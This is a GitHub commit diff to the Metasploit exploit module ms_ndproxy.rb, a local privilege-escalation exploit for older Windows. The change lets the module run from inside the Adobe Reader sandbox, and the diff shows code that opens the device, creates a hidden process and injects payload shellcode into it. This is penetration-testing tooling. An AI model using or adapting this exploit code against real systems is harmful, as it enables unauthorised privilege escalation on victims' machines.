Skip to content

Commit ad2ec49

Browse files
committed
Land rapid7#2773 - Fix ms_ndproxy to work under a sandboxed Reader
2 parents c88f262 + 52cb43e commit ad2ec49

File tree

1 file changed

+17
-4
lines changed

1 file changed

+17
-4
lines changed

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
2828
'License' => MSF_LICENSE,
2929
'Author' =>
3030
[
31-
'Unkwnon', # Vulnerability discovery
31+
'Unknown', # Vulnerability discovery
3232
'ryujin', # python PoC
3333
'Shahin Ramezany', # C PoC
3434
'juan vazquez' # MSF module
@@ -150,7 +150,7 @@ def open_device(dev)
150150

151151
invalid_handle_value = 0xFFFFFFFF
152152

153-
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", 0, 0)
153+
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
154154

155155
handle = r['return']
156156

@@ -234,7 +234,14 @@ def create_proc
234234
windir = expand_path("%windir%")
235235
cmd = "#{windir}\\System32\\notepad.exe"
236236
# run hidden
237-
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
237+
begin
238+
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
239+
rescue Rex::Post::Meterpreter::RequestError
240+
# when running from the Adobe Reader sandbox:
241+
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
242+
return nil
243+
end
244+
238245
return proc.pid
239246
end
240247

@@ -424,9 +431,14 @@ def exploit
424431
fail_with(Failure::Unknown, "The exploitation wasn't successful")
425432
end
426433

434+
p = payload.encoded
427435
print_good("Exploitation successful! Creating a new process and launching payload...")
428436
new_pid = create_proc
429-
p = payload.encoded
437+
438+
if new_pid.nil?
439+
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
440+
return
441+
end
430442

431443
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
432444
if execute_shellcode(p, nil, new_pid)
@@ -435,6 +447,7 @@ def exploit
435447
fail_with(Failure::Unknown, "Error while executing the payload")
436448
end
437449

450+
438451
end
439452

440453
end

0 commit comments

Comments
 (0)